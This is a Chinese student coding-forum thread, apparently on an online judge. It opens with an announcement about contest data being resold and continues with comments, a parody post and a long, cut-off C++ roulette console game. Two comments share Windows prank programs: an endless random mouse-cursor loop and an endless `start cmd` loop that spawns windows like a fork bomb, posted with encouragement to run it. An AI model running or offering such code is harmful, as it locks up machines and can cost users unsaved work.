最近的事情更无语了,某鱼上现在有三个人在卖数据了。周赛数据永久停止更新。

不允许学生创建新讨论了,后面大家可以在这里讨论相关内容。会定期清理。

删了一些同学们自己举办的比赛的帖子。

我建议你们可以私聊参赛。讨论区太乱了,有些提问我看不到了已经。

更重要的是,还是先好好学算法吧各位同学,当你拿了提高组 200200 分,再考虑自己举办一些简单的比赛。

语法场的初心还是为了学生们巩固基础语法,高水平选手可以选择参加入门语法场和入门提高场 目前也没看见能打的 (参考新春马拉松赛成绩)

感觉不过瘾还可以打atcoder和codeforces

166 条评论

  • @ 2025-9-7 14:59:37

  • 给老师的比赛

    • 老师,你上一下谷呗

      • @ 2025-9-6 17:06:04

        啊? 有人想做吗? 好奇怪

        • @ 2025-9-2 23:03:09

          @

          #include <fstream>
          using namespace std;
          extern "C" int Seniorious(int x);
          extern "C" int Chtholly (int n, int c)
          {
              int l = 1, r = n;
              while (l <= r)
              {
                  int mid = (l + r) >> 1, m = Seniorious(mid);
                  if (m == 0) return mid;
                  else if (m == 1) r = mid - 1;
                  else l = mid + 1;
              }
          }
          
          • @ 2025-8-29 21:50:13

            ???

            • @ 2025-8-28 17:15:31

              为什么只能在本地开O(3)优化

            • @ 2025-8-27 16:46:18

              最近的事情更开心了,某鱼上现在有3-3个人在卖数据了。周赛永久每秒更新。

              允许学生创建新讨论了,后面大家不可以在这里讨论相关内容,不会定期清理。

              删了一些TooY0ungTooY0ung33DAI33DAI举办的比赛的帖子。

              我不建议你私聊参赛。讨论区太漂亮了,有些提问我不得不看到了已经。

              更重要的是,还是先好好学举办比赛吧各位同学,当你拿了XX00分,再考虑自己学算法。

              语法场的初心还是为了学生们忘记基础语法,低水平选手可以选择参加入门语法场和入门提高场,目前也没看见不能打的 (参考新春马拉松赛成绩)

              感觉不过瘾还可以不打atcoder和codeforces

              • @ 2025-8-27 16:40:12

              • @ 2025-8-26 15:37:14

                mc

                • @ 2025-8-23 22:53:36

                  骗分大逝冒一下泡

                • @ 2025-8-22 15:17:47

                  //《人心中的成见是一只Bessie(feiwu的Bessie),无论你怎么看,都看不清有几座山》

                  • @ 2025-8-21 20:51:39

                    itmakesmeWANTtosay_something_justlike"wtf"

                  • @ 2025-8-21 12:03:38

                    炸了?!

                    • @ 2025-8-19 16:41:23

                    • @ 2025-8-19 9:29:20

                      屏幕上乱飞的鼠标

                      #include<windows.h>
                      #include<ctime>
                      using namespace std;
                      int main()
                      {
                          int x=GetSystemMetrics(SM_CXSCREEN);
                          int y=GetSystemMetrics(SM_CYSCREEN);
                          srand(time(0));
                          while(1)
                          SetCursorPos(rand()%x,rand()%y);
                          return 0;
                      }
                      
                      • 如果你启动了这个程序,那恭喜你,你可以关机重启了!
                      • liang心建议:你可以按键盘上的Alt+F4或Alt+Fn+F4这样就可以关掉运行程序
                      • @ 2025-8-18 16:39:31

                        是不是对shi jia lin偏心!!! 气si我了

                        • @ 2025-8-18 17:07:42

                          不同的题(类型)链接着不同的评测机,你没发现吗?(shi jia li 写的是P开头的(链接的是洛谷的,所以可提交)),但我们做的都不是P开头的,所以A不了(不信就试一个P开头的简单题)

                        • @ 2025-8-18 17:13:17

                          这不AC了?

                      • @ 2025-8-18 16:23:30

                        炸了!!!

                        • @ 2025-8-16 18:01:11

                          @

                          这个不能直接关机,但很折磨

                          #include<windows.h>
                          using namespace std;
                          int main(){
                              system("color F5");
                              for(;;) system("start cmd");
                              return 0;
                          }
                          

                          强烈建议试一试,把代码保存好在逝(别问我为什么这样说)

                          • @ 2025-8-15 21:41:31

                            没周赛了,咋弄硬币

                            • 暑期集训的比赛欠了一些后面补一补,9月开始尽可能保证一个月两次周赛,其余课堂发放硬币

                          • @ 2025-8-14 20:47:45

                            恶魔轮盘赌代码

                            #include<bits/stdc++.h>
                            #include <windows.h>
                            using namespace std;
                            int Your=6,Other=6;
                            string daojuname[]={"放大镜","手铐","小刀","烟","饮料"};
                            double Yourmoney;
                            
                            int shi,kong;
                            int q[10],qlen;//1 实 2 空 
                            int Rand(int x,int y){
                            	int A=rand(),B=rand();
                            	return A*1ll*B%(y-x+1)+x;
                            }
                            int T;//ou->you
                            int daojulen;
                            int daoju[10];
                            int daojulen1;
                            int daoju1[10];
                            void build_gun(){
                            	kong=Rand(1,4);
                            	shi=Rand(1,4);
                            	qlen=0;
                            	printf("%d发实弹,%d发空弹\n",shi,kong);
                            	int a1=kong,a2=shi;
                            	for(int i=1;i<=kong+shi;i++){
                            //      Sleep(50);
                            		int sum=Rand(1,a1+a2);
                            		if(sum<=a1){
                            			a1--;
                            			q[++qlen]=2;
                            		}else{
                            			a2--;
                            			q[++qlen]=1;
                            		}
                            	}
                            	int maxn=min(4,8-daojulen);
                            	printf("你获得了%d个道具:\n",maxn);
                            	daojulen+=maxn;
                            	for(int i=1;i<=maxn;i++){
                            //      Sleep(50);
                            		int kkk=Rand(0,4);
                            		daoju[kkk]++;
                            		cout<<daojuname[kkk];
                            		if(i!=maxn){
                            			printf(",");
                            		}
                            	}
                            	printf("\n");
                            	maxn=min(4,8-daojulen1);
                            	printf("恶魔获得了%d个道具:\n",maxn);
                            	daojulen1+=maxn;
                            	for(int i=1;i<=maxn;i++){
                            		int kkk=Rand(0,4);
                            		daoju1[kkk]++;
                            		cout<<daojuname[kkk];
                            		if(i!=maxn){
                            			printf(",");
                            		}
                            	}
                            	printf("\n");
                            	system("pause");
                            	system("cls");
                            }
                            void IsOver(){
                            	if(Your<=0){
                            		printf("你输了\n");
                            		system("pause");
                            		exit(0);
                            	}
                            	if(Other<=0){
                            		printf("你赢了\n你获得了奖金$%.2lf\n",Yourmoney);
                            		system("pause");
                            		exit(0);
                            	}
                            }
                            void wait(){
                            	for(int i=1;i<=3;i++){
                            		Sleep(500);
                            		printf(".");
                            	}
                            	Sleep(500);
                            }
                            int Hurt=1;
                            int shoukao_you;
                            void Timeyou(){
                            	int x;
                            	while(1){
                            		printf("你的生命:%d/6\n恶魔生命:%d/6\n",Your,Other);
                            		printf("剩余实弹数:%d    剩余空弹数:%d\n",shi,kong);
                            		printf("你现在拥有的道具:\n");
                            		for(int i=0;i<=4;i++){
                            			cout<<daojuname[i];
                            			printf("%d",daoju[i]);
                            			printf("个");
                            			if(i!=4){
                            				printf(",");
                            			}
                            		}
                            		printf("\n");
                            		printf("恶魔现在拥有的道具:\n");
                            		for(int i=0;i<=4;i++){
                            			cout<<daojuname[i];
                            			printf("%d",daoju1[i]);
                            			printf("个");
                            			if(i!=4){
                            				printf(",");
                            			}
                            		}
                            		printf("\n");
                            		printf("现在是你的回合\n");
                            		printf("你要\n1.向恶魔开枪\n2.向自己开枪\n");
                            		for(int i=0;i<=4;i++){
                            			printf("%d.使用",i+3);
                            			cout<<daojuname[i]<<'\n';
                            		}
                            		scanf("%d",&x);
                            		if(1<=x&&x<=7){
                            			break;
                            		}
                            		printf("输入不合法\n");
                            		Sleep(1145);
                            		system("cls");
                            	}
                            	if(x==1){
                            		printf("你决定向恶魔开枪");
                            		T++;
                            		wait();
                            		if(q[qlen]==2){
                            			Yourmoney+=(double)(2000.0*(Hurt*1.0)*(1+(double)(shi)*1.0/(double)(shi+kong)));
                            			kong--;
                            			qlen--;
                            			Hurt=1;
                            			printf("是空弹\n");
                            			if(shoukao_you==1){
                            				shoukao_you=0;
                            				printf("因为你使用了手铐,所以可以再来一次\n");
                            				Sleep(500);
                            				T--;
                            			}
                            		}else{
                            //          printf("((%lf))\n",Yourmoney);
                            			Yourmoney+=(double)(5000.0*(Hurt*1.0)*(1+(double)(kong)*1.0/(double)(shi+kong)));
                            //          printf("{{%lf}}\n",Yourmoney);
                            			shi--;
                            			qlen--;
                            			Other-=Hurt;
                            			Hurt=1;
                            			printf("是实弹\n");
                            			Sleep(500);
                            			IsOver();
                            			if(shoukao_you==1){
                            				shoukao_you=0;
                            				Yourmoney+=1000.0;
                            				printf("因为你使用了手铐,所以可以再来一次\n");
                            				Sleep(500);
                            				T--;
                            			}
                            		}
                            	}else if(x==2){
                            		printf("你决定向自己开枪");
                            		wait();
                            		if(q[qlen]==2){
                            			Yourmoney+=(double)(2000.0*(Hurt*1.0)*(1+(double)(kong)*1.0/(double)(shi+kong)));
                            			kong--;
                            			qlen--;
                            			Hurt=1;
                            			printf("是空弹\n");
                            		}else{
                            			Yourmoney+=5000.0*(1+(double)(shi)*1.0/(double)(shi+kong));
                            			T++;
                            			shi--;
                            			qlen--;
                            			Your-=Hurt;
                            			Hurt=1;
                            			printf("是实弹\n");
                            			Sleep(500);
                            			IsOver();
                            			if(shoukao_you==1){
                            				shoukao_you=0;
                            				printf("因为你使用了手铐,所以可以再来一次\n");
                            				Sleep(500);
                            				T--;
                            			}
                            		}
                            	}else if(x==3){//{"放大镜","手铐","小刀","烟","饮料"};
                            		if(daoju[0]){
                            			daoju[0]--;
                            			daojulen--;
                            			printf("你使用了放大镜\n");
                            			wait();
                            			printf("\n你看到了");
                            			if(q[qlen]==1){
                            				printf("实弹\n");
                            				Yourmoney+=2500.0;
                            			}else{
                            				printf("空弹\n");
                            			}
                            			Sleep(500);
                            			printf("\n");
                            		}else{
                            			printf("你现在没有放大镜\n");
                            			Sleep(1145);
                            			system("cls");
                            		}
                            	}else if(x==4){
                            		if(daoju[1]){
                            			if(!shoukao_you){
                            				daoju[1]--;
                            				daojulen--;
                            				printf("你使用了手铐\n");
                            				printf("你获得了连开两枪的机会\n");
                            				shoukao_you=1;
                            			}else{
                            				printf("你已经用过手铐了\n");
                            			}
                            			Sleep(1145);
                            			system("cls"); 
                            		}else{
                            			printf("你现在没有手铐\n");
                            			Sleep(1145);
                            			system("cls");
                            		}
                            	}else if(x==5){
                            		if(daoju[2]){
                            			if(Hurt==1){
                            				daoju[2]--;
                            				daojulen--;
                            				printf("你使用了小刀\n");
                            				printf("若下一发为实弹则伤害+1\n");
                            				Yourmoney+=500.0;
                            				Hurt=2;
                            			}else{
                            				printf("你已经用过小刀了\n");
                            			}
                            			Sleep(1145);
                            			system("cls");
                            		}else{
                            			printf("你现在没有小刀\n");
                            			Sleep(1145);
                            			system("cls");
                            		}
                            	}else if(x==6){
                            		if(daoju[3]){
                            			if(Your^6){
                            				daoju[3]--;
                            				daojulen--;
                            				printf("你使用了烟\n");
                            				printf("你回复了一点生命\n");
                            				Yourmoney+=500.0;
                            				Your++;
                            			}else{
                            				printf("你现在不需要烟\n");
                            			}
                            			Sleep(1145);
                            		}else{
                            			printf("你现在没有烟\n");
                            			Sleep(1145);
                            			system("cls");
                            		}
                            	}else{
                            		if(daoju[4]){
                            			daoju[4]--;
                            			daojulen--;
                            			printf("你使用了饮料\n");
                            			wait();
                            			printf("\n");
                            			printf("你退了一发"); 
                            			if(q[qlen]==2){
                            				printf("空弹");
                            				kong--;
                            			}else{
                            				printf("实弹");
                            				Yourmoney+=500.0;
                            				shi--;
                            			}
                            			qlen--;
                            			Sleep(500);
                            		}else{
                            			printf("你现在没有饮料\n");
                            			Sleep(1145);
                            			system("cls");
                            		}
                            	}
                            	Sleep(1000);
                            	system("cls");
                            }
                            int Know;//通过放大镜得知下一发子弹 
                            int shoukaoemo;
                            void fightyou(){
                            	printf("恶魔决定向你开枪");
                            	T++;
                            	wait();
                            	if(q[qlen]==2){
                            		Yourmoney+=(double)(2000.0*(Hurt*1.0)*(1+(double)(kong)*1.0/(double)(shi+kong)));
                            		kong--;
                            		qlen--;
                            		Hurt=1;
                            		Know=0;
                            		printf("是空弹\n");
                            		if(shoukaoemo){
                            			printf("因为恶魔使用了手铐,所以可以再来一次\n");
                            			T--;
                            			Sleep(500);
                            			shoukaoemo=0;
                            		}
                            	}else{
                            		Yourmoney+=(double)(5000.0*(Hurt*1.0)*(1+(double)(kong)*1.0/(double)(shi+kong)));
                            		shi--;
                            		qlen--;
                            		Your-=Hurt;
                            		Hurt=1;
                            		printf("是实弹\n");
                            		Know=0;
                            		Sleep(500);
                            		IsOver();
                            		if(shoukaoemo){
                            			printf("因为恶魔使用了手铐,所以可以再来一次\n");
                            			Yourmoney+=1000.0;
                            			T--;
                            			Sleep(500);
                            			shoukaoemo=0;
                            		}
                            	}
                            }
                            void fightemo(){
                            	printf("恶魔决定向自己开枪");
                            	wait();
                            	if(q[qlen]==2){
                            		Yourmoney+=2000.0*(1+(double)(shi)*1.0/(double)(shi+kong));
                            		kong--;
                            		qlen--;
                            		printf("是空弹\n");
                            		Know=0;
                            	}else{
                            		Yourmoney+=5000.0*(1+(double)(kong)*1.0/(double)(shi+kong));
                            		shi--;
                            		T++;
                            		qlen--;
                            		Other-=Hurt;
                            		Hurt=1;
                            		printf("是实弹\n");
                            		Know=0;
                            		Sleep(500);
                            		IsOver();
                            		if(shoukaoemo){
                            			printf("因为恶魔使用了手铐,所以可以再来一次\n");
                            			T--;
                            			Sleep(500);
                            			shoukaoemo=0;
                            		}
                            	}
                            }
                            void Timeother(){
                            	printf("你的生命:%d/6\n恶魔生命:%d/6\n",Your,Other);
                            	printf("剩余实弹数:%d    剩余空弹数:%d\n",shi,kong);
                            	printf("你现在拥有的道具:\n");
                            	for(int i=0;i<=4;i++){
                            		cout<<daojuname[i];
                            		printf("%d",daoju[i]);
                            		printf("个");
                            		if(i!=4){
                            			printf(",");
                            		}
                            	}
                            	printf("\n");
                            	printf("恶魔现在拥有的道具:\n");
                            	for(int i=0;i<=4;i++){
                            		cout<<daojuname[i];
                            		printf("%d",daoju1[i]);
                            		printf("个");
                            		if(i!=4){
                            			printf(",");
                            		}
                            	}
                            	printf("\n");
                            	printf("现在是恶魔的回合\n");
                            	Sleep(1500);
                            	
                            	if(Other!=6){
                            		if(daoju1[3]){
                            			daoju1[3]--;
                            			daojulen1--;
                            			printf("恶魔使用了烟\n");
                            			printf("恶魔回复了一点生命\n");
                            			Other++;
                            			Yourmoney+=500.0;
                            			Sleep(1145);
                            			system("cls");
                            			return ;
                            		}
                            	}
                            	if(Know==0&&kong==0){
                            		Know=1;
                            	}
                            	if(Know==0){
                            		if(abs(shi-kong)<2&&kong!=0){
                            			if(daoju1[0]){
                            				daoju1[0]--;
                            				daojulen1--;
                            				printf("恶魔使用了放大镜\n");
                            				wait();
                            				printf("\n恶魔看到了");
                            				if(q[qlen]==1){
                            					printf("实弹");
                            					Yourmoney+=2500.0;
                            					Know=1;
                            				}else{
                            					printf("空弹");
                            					Know=2;
                            				}
                            				Sleep(1145);
                            				system("cls");
                            				return ;
                            			}
                            		}
                            	}else if(Know==1){
                            		if(Hurt==1&&daoju1[2]){
                            			daoju1[2]--;
                            			daojulen1--;
                            			Hurt++;
                            			printf("恶魔使用了小刀\n");
                            			printf("若下一发为实弹则伤害+1");
                            			Yourmoney+=500.0;
                            			Sleep(1145);
                            			system("cls");
                            			return ;
                            		}else{
                            			if(shi>=kong+1&&daoju1[1]&&shoukaoemo!=1){
                            				daoju1[1]--;
                            				daojulen1--;
                            				shoukaoemo=1;
                            				printf("恶魔使用了手铐\n");
                            				printf("恶魔获得了连开两枪的机会\n");
                            				Sleep(1145);
                            				system("cls");
                            				return ;
                            			}
                            			fightyou();
                            			system("cls");
                            			return ;
                            		}
                            	}else{
                            		if(daoju1[4]){
                            			daoju1[4]--;
                            			daojulen1--;
                            			printf("恶魔使用了饮料\n");
                            			wait();
                            			printf("\n");
                            			printf("恶魔退了一发"); 
                            			if(q[qlen]==2){
                            				printf("空弹");
                            				kong--;
                            			}else{
                            				printf("实弹");
                            				shi--;
                            			}
                            			Know=0;
                            			qlen--;
                            			Sleep(500);
                            			Sleep(1145);
                            			system("cls");
                            			return ;
                            		}else{
                            			fightemo();
                            			Sleep(1145);
                            			system("cls");
                            			return ;
                            		}
                            	}
                            	if(shi>=kong){
                            		fightyou();
                            	}else{
                            		fightemo();
                            	}
                            	Sleep(1145);
                            	system("cls");
                            }
                            void Play(){
                            	while(1){
                            		if(shi==0){
                            			build_gun();
                            			T=0;
                            			continue;
                            		}
                            		if(T%2==0){
                            			Timeyou();
                            		}else{
                            			Timeother();
                            		}
                            	}
                            }
                            void danrenplay(){
                            	for(int i=1;i<=3;i++){
                            		printf(".");
                            //      Sleep(1000);
                            	}
                            	printf("\n");
                            	printf("又来了一位挑战者...\n");
                            	Sleep(1000);
                            	int x;
                            	while(1){
                            		printf("准备好参与恶魔的游戏吗?胜者带走奖金,败者将会在此长眠\n1.好的\n2.没问题\n");
                            		scanf("%d",&x);
                            		if(x==1||x==2){
                            			break;
                            		}
                            		printf("输入不合法\n");
                            		Sleep(1145);
                            		system("cls");
                            	}
                            	while(1){
                            		printf("你清楚我们的规则吗?\n1.清楚\n2.不清楚\n");
                            		scanf("%d",&x);
                            		if(x==1||x==2){
                            			break;
                            		}
                            		printf("输入不合法\n");
                            		Sleep(1145);
                            		system("cls");
                            	}
                            	if(x==1){
                            		
                            	}else{
                            		for(int i=1;i<=3;i++){
                            			printf(".");
                            			Sleep(1000);
                            		}
                            		printf("\n");
                            		printf("规则:\n");
                            		printf("你和恶魔都各有6点生命\n") ;
                            		printf("每一回合开始前,你将知道一共有几发实弹,几发空弹,同时双方都将获得4个道具作为补给(上限为8个)\n"); 
                            		printf("每一回合,你可以选择对自己开枪,对恶魔开枪或者使用道具\n");
                            		printf("如果你对自己开枪,若为空弹,则可以继续行动,否则,停止行动\n");
                            		printf("如果你对恶魔开枪,无论如何,都将停止行动\n");
                            		printf("道具一览:\n"); 
                            		printf("放大镜:可以知道下一发子弹是空弹还是实弹\n");
                            		printf("手铐:增加一次本回合的行动次数\n");
                            		printf("小刀:若下一发子弹为实弹,则伤害+1\n");
                            		printf("烟:可以回复1点体力\n");
                            		printf("饮料:可以退一发子弹\n");
                            		system("pause");
                            		system("cls");
                            	}
                            	
                            	printf("好吧\n");
                            	Sleep(1145);
                            	printf("游戏将要开始了哦\n");
                            	Sleep(1145);
                            	system("cls");
                            	Play();
                            }
                            void IsOver_duo(){
                            	if(Your<=0){
                            		printf("玩家B赢了\n玩家B获得了奖金$%.2lf\n",Yourmoney); 
                            		system("pause");
                            		exit(0);
                            	}else if(Other<=0){
                            		printf("玩家A赢了\n玩家A获得了奖金$%.2lf\n",Yourmoney); 
                            		system("pause");
                            		exit(0);
                            	}
                            	
                            }
                            void build_gun_duo(){
                            	kong=Rand(1,4);
                            	shi=Rand(1,4);
                            	qlen=0;
                            	printf("%d发实弹,%d发空弹\n",shi,kong);
                            	int a1=kong,a2=shi;
                            	for(int i=1;i<=kong+shi;i++){
                            //      Sleep(50);
                            		int sum=Rand(1,a1+a2);
                            		if(sum<=a1){
                            			a1--;
                            			q[++qlen]=2;
                            		}else{
                            			a2--;
                            			q[++qlen]=1;
                            		}
                            	}
                            	int maxn=min(2,8-daojulen);
                            	printf("玩家A获得了%d个道具:\n",maxn);
                            	daojulen+=maxn;
                            	for(int i=1;i<=maxn;i++){
                            //      Sleep(50);
                            		int kkk=Rand(0,4);
                            		daoju[kkk]++;
                            		cout<<daojuname[kkk];
                            		if(i!=maxn){
                            			printf(",");
                            		}
                            	}
                            	printf("\n");
                            	maxn=min(2,8-daojulen1);
                            	printf("玩家B获得了%d个道具:\n",maxn);
                            	daojulen1+=maxn;
                            	for(int i=1;i<=maxn;i++){
                            		int kkk=Rand(0,4);
                            		daoju1[kkk]++;
                            		cout<<daojuname[kkk];
                            		if(i!=maxn){
                            			printf(",");
                            		}
                            	}
                            	printf("\n");
                            	system("pause");
                            	system("cls");
                            }
                            void Timeyou_duo(){
                            	int x;
                            	while(1){
                            		printf("玩家A的生命:%d/4\n玩家B的生命:%d/4\n",Your,Other);
                            		printf("剩余实弹数:%d    剩余空弹数:%d\n",shi,kong);
                            		printf("玩家A现在拥有的道具:\n");
                            		for(int i=0;i<=4;i++){
                            			cout<<daojuname[i];
                            			printf("%d",daoju[i]);
                            			printf("个");
                            			if(i!=4){
                            				printf(",");
                            			}
                            		}
                            		printf("\n");
                            		printf("玩家B现在拥有的道具:\n");
                            		for(int i=0;i<=4;i++){
                            			cout<<daojuname[i];
                            			printf("%d",daoju1[i]);
                            			printf("个");
                            			if(i!=4){
                            				printf(",");
                            			}
                            		}
                            		printf("\n");
                            		printf("现在是玩家A的回合\n");
                            		printf("玩家A要\n1.向玩家B开枪\n2.向自己开枪\n");
                            		for(int i=0;i<=4;i++){
                            			printf("%d.使用",i+3);
                            			cout<<daojuname[i]<<'\n';
                            		}
                            		scanf("%d",&x);
                            		if(1<=x&&x<=7){
                            			break;
                            		}
                            		printf("输入不合法\n");
                            		Sleep(1145);
                            		system("cls");
                            	}
                            	if(x==1){
                            		printf("玩家A决定向玩家B开枪");
                            		T++;
                            		wait();
                            		if(q[qlen]==2){
                            			Yourmoney+=(double)(2000.0*(Hurt*1.0)*(1+(double)(shi)*1.0/(double)(shi+kong)));
                            			kong--;
                            			qlen--;
                            			Hurt=1;
                            			printf("是空弹\n");
                            			if(shoukao_you==1){
                            				shoukao_you=0;
                            				printf("因为玩家A使用了手铐,所以可以再来一次\n");
                            				Sleep(500);
                            				T--;
                            			}
                            		}else{
                            //          printf("((%lf))\n",Yourmoney);
                            			Yourmoney+=(double)(5000.0*(Hurt*1.0)*(1+(double)(kong)*1.0/(double)(shi+kong)));
                            //          printf("{{%lf}}\n",Yourmoney);
                            			shi--;
                            			qlen--;
                            			Other-=Hurt;
                            			Hurt=1;
                            			printf("是实弹\n");
                            			Sleep(500);
                            			IsOver_duo();
                            			if(shoukao_you==1){
                            				shoukao_you=0;
                            				Yourmoney+=1000.0;
                            				printf("因为玩家A使用了手铐,所以可以再来一次\n");
                            				Sleep(500);
                            				T--;
                            			}
                            		}
                            	}else if(x==2){
                            		printf("玩家A决定向自己开枪");
                            		wait();
                            		if(q[qlen]==2){
                            			Yourmoney+=(double)(2000.0*(Hurt*1.0)*(1+(double)(kong)*1.0/(double)(shi+kong)));
                            			kong--;
                            			qlen--;
                            			Hurt=1;
                            			printf("是空弹\n");
                            		}else{
                            			Yourmoney+=5000.0*(1+(double)(shi)*1.0/(double)(shi+kong));
                            			T++;
                            			shi--;
                            			qlen--;
                            			Your-=Hurt;
                            			Hurt=1;
                            			printf("是实弹\n");
                            			Sleep(500);
                            			IsOver_duo();
                            			if(shoukao_you==1){
                            				shoukao_you=0;
                            				printf("因为玩家A使用了手铐,所以可以再来一次\n");
                            				Sleep(500);
                            				T--;
                            			}
                            		}
                            	}else if(x==3){//{"放大镜","手铐","小刀","烟","饮料"};
                            		if(daoju[0]){
                            			daoju[0]--;
                            			daojulen--;
                            			printf("玩家A使用了放大镜\n");
                            			wait();
                            			printf("\n玩家A看到了");
                            			if(q[qlen]==1){
                            				printf("实弹\n");
                            				Yourmoney+=2500.0;
                            			}else{
                            				printf("空弹\n");
                            			}
                            			Sleep(500);
                            			printf("\n");
                            		}else{
                            			printf("玩家A现在没有放大镜\n");
                            			Sleep(1145);
                            			system("cls");
                            		}
                            	}else if(x==4){
                            		if(daoju[1]){
                            			if(!shoukao_you){
                            				daoju[1]--;
                            				daojulen--;
                            				printf("玩家A使用了手铐\n");
                            				printf("玩家A获得了连开两枪的机会\n");
                            				shoukao_you=1;
                            			}else{
                            				printf("玩家A已经用过手铐了\n");
                            			}
                            			Sleep(1145);
                            			system("cls"); 
                            		}else{
                            			printf("玩家A现在没有手铐\n");
                            			Sleep(1145);
                            			system("cls");
                            		}
                            	}else if(x==5){
                            		if(daoju[2]){
                            			if(Hurt==1){
                            				daoju[2]--;
                            				daojulen--;
                            				printf("玩家A使用了小刀\n");
                            				printf("若下一发为实弹则伤害+1\n");
                            				Yourmoney+=500.0;
                            				Hurt=2;
                            			}else{
                            				printf("玩家A已经用过小刀了\n");
                            			}
                            			Sleep(1145);
                            			system("cls");
                            		}else{
                            			printf("玩家A现在没有小刀\n");
                            			Sleep(1145);
                            			system("cls");
                            		}
                            	}else if(x==6){
                            		if(daoju[3]){
                            			if(Your^4){
                            				daoju[3]--;
                            				daojulen--;
                            				printf("玩家A使用了烟\n");
                            				printf("玩家A回复了一点生命\n");
                            				Yourmoney+=500.0;
                            				Your++;
                            			}else{
                            				printf("玩家A现在不需要烟\n");
                            			}
                            			Sleep(1145);
                            		}else{
                            			printf("玩家A现在没有烟\n");
                            			Sleep(1145);
                            			system("cls");
                            		}
                            	}else{
                            		if(daoju[4]){
                            			daoju[4]--;
                            			daojulen--;
                            			printf("玩家A使用了饮料\n");
                            			wait();
                            			printf("\n");
                            			printf("玩家A退了一发"); 
                            			if(q[qlen]==2){
                            				printf("空弹");
                            				kong--;
                            			}else{
                            				printf("实弹");
                            				Yourmoney+=500.0;
                            				shi--;
                            			}
                            			qlen--;
                            			Sleep(500);
                            		}else{
                            			printf("玩家A现在没有饮料\n");
                            			Sleep(1145);
                            			system("cls");
                            		}
                            	}
                            	Sleep(1000);
                            	system("cls");
                            }
                            void Timeother_duo(){
                            	int x;
                            	while(1){
                            		printf("玩家A的生命:%d/4\n玩家B的生命:%d/4\n",Your,Other);
                            		printf("剩余实弹数:%d    剩余空弹数:%d\n",shi,kong);
                            		printf("玩家A现在拥有的道具:\n");
                            		for(int i=0;i<=4;i++){
                            			cout<<daojuname[i];
                            			printf("%d",daoju[i]);
                            			printf("个");
                            			if(i!=4){
                            				printf(",");
                            			}
                            		}
                            		printf("\n");
                            		printf("玩家B现在拥有的道具:\n");
                            		for(int i=0;i<=4;i++){
                            			cout<<daojuname[i];
                            			printf("%d",daoju1[i]);
                            			printf("个");
                            			if(i!=4){
                            				printf(",");
                            			}
                            		}
                            		printf("\n");
                            		printf("现在是玩家B的回合\n");
                            		printf("玩家B要\n1.向玩家A开枪\n2.向自己开枪\n");
                            		for(int i=0;i<=4;i++){
                            			printf("%d.使用",i+3);
                            			cout<<daojuname[i]<<'\n';
                            		}
                            		scanf("%d",&x);
                            		if(1<=x&&x<=7){
                            			break;
                            		}
                            		printf("输入不合法\n");
                            		Sleep(1145);
                            		system("cls");
                            	}
                            	if(x==1){
                            		printf("玩家B决定向玩家A开枪");
                            		T++;
                            		wait();
                            		if(q[qlen]==2){
                            			Yourmoney+=(double)(2000.0*(Hurt*1.0)*(1+(double)(shi)*1.0/(double)(shi+kong)));
                            			kong--;
                            			qlen--;
                            			Hurt=1;
                            			printf("是空弹\n");
                            			if(shoukaoemo==1){
                            				shoukaoemo=0;
                            				printf("因为玩家B使用了手铐,所以可以再来一次\n");
                            				Sleep(500);
                            				T--;
                            			}
                            		}else{
                            //          printf("((%lf))\n",Yourmoney);
                            			Yourmoney+=(double)(5000.0*(Hurt*1.0)*(1+(double)(kong)*1.0/(double)(shi+kong)));
                            //          printf("{{%lf}}\n",Yourmoney);
                            			shi--;
                            			qlen--;
                            			Your-=Hurt;
                            			Hurt=1;
                            			printf("是实弹\n");
                            			Sleep(500);
                            			IsOver_duo();
                            			if(shoukaoemo==1){
                            				shoukaoemo=0;
                            				Yourmoney+=1000.0;
                            				printf("因为玩家B使用了手铐,所以可以再来一次\n");
                            				Sleep(500);
                            				T--;
                            			}
                            		}
                            	}else if(x==2){
                            		printf("玩家B决定向自己开枪");
                            		wait();
                            		if(q[qlen]==2){
                            			Yourmoney+=(double)(2000.0*(Hurt*1.0)*(1+(double)(kong)*1.0/(double)(shi+kong)));
                            			kong--;
                            			qlen--;
                            			Hurt=1;
                            			printf("是空弹\n");
                            		}else{
                            			Yourmoney+=5000.0*(1+(double)(shi)*1.0/(double)(shi+kong));
                            			T++;
                            			shi--;
                            			qlen--;
                            			Other-=Hurt;
                            			Hurt=1;
                            			printf("是实弹\n");
                            			Sleep(500);
                            			IsOver_duo();
                            			if(shoukao_you==1){
                            				shoukao_you=0;
                            				printf("因为玩家B使用了手铐,所以可以再来一次\n");
                            				Sleep(500);
                            				T--;
                            			}
                            		}
                            	}else if(x==3){//{"放大镜","手铐","小刀","烟","饮料"};
                            		if(daoju1[0]){
                            			daoju1[0]--;
                            			daojulen1--;
                            			printf("玩家B使用了放大镜\n");
                            			wait();
                            			printf("\n玩家B看到了");
                            			if(q[qlen]==1){
                            				printf("实弹\n");
                            				Yourmoney+=2500.0;
                            			}else{
                            				printf("空弹\n");
                            			}
                            			Sleep(500);
                            			printf("\n");
                            		}else{
                            			printf("玩家B现在没有放大镜\n");
                            			Sleep(1145);
                            			system("cls");
                            		}
                            	}else if(x==4){
                            		if(daoju1[1]){
                            			if(!shoukaoemo){
                            				daoju1[1]--;
                            				daojulen1--;
                            				printf("玩家B使用了手铐\n");
                            				printf("玩家B获得了连开两枪的机会\n");
                            				shoukaoemo=1;
                            			}else{
                            				printf("玩家B已经用过手铐了\n");
                            			}
                            			Sleep(1145);
                            			system("cls"); 
                            		}else{
                            			printf("玩家B现在没有手铐\n");
                            			Sleep(1145);
                            			system("cls");
                            		}
                            	}else if(x==5){
                            		if(daoju1[2]){
                            			if(Hurt==1){
                            				daoju1[2]--;
                            				daojulen1--;
                            				printf("玩家B使用了小刀\n");
                            				printf("若下一发为实弹则伤害+1\n");
                            				Yourmoney+=500.0;
                            				Hurt=2;
                            			}else{
                            				printf("玩家B已经用过小刀了\n");
                            			}
                            			Sleep(1145);
                            			system("cls");
                            		}else{
                            			printf("玩家B现在没有小刀\n");
                            			Sleep(1145);
                            			system("cls");
                            		}
                            	}else if(x==6){
                            		if(daoju1[3]){
                            			if(Other^4){
                            				daoju1[3]--;
                            				daojulen1--;
                            				printf("玩家B使用了烟\n");
                            				printf("玩家B回复了一点生命\n");
                            				Yourmoney+=500.0;
                            				Other++;
                            			}else{
                            				printf("玩家B现在不需要烟\n");
                            			}
                            			Sleep(1145);
                            		}else{
                            			printf("玩家B现在没有烟\n");
                            			Sleep(1145);
                            			system("cls");
                            		}
                            	}else{
                            		if(daoju1[4]){
                            			daoju1[4]--;
                            			daojulen1--;
                            			printf("玩家B使用了饮料\n");
                            			wait();
                            			printf("\n");
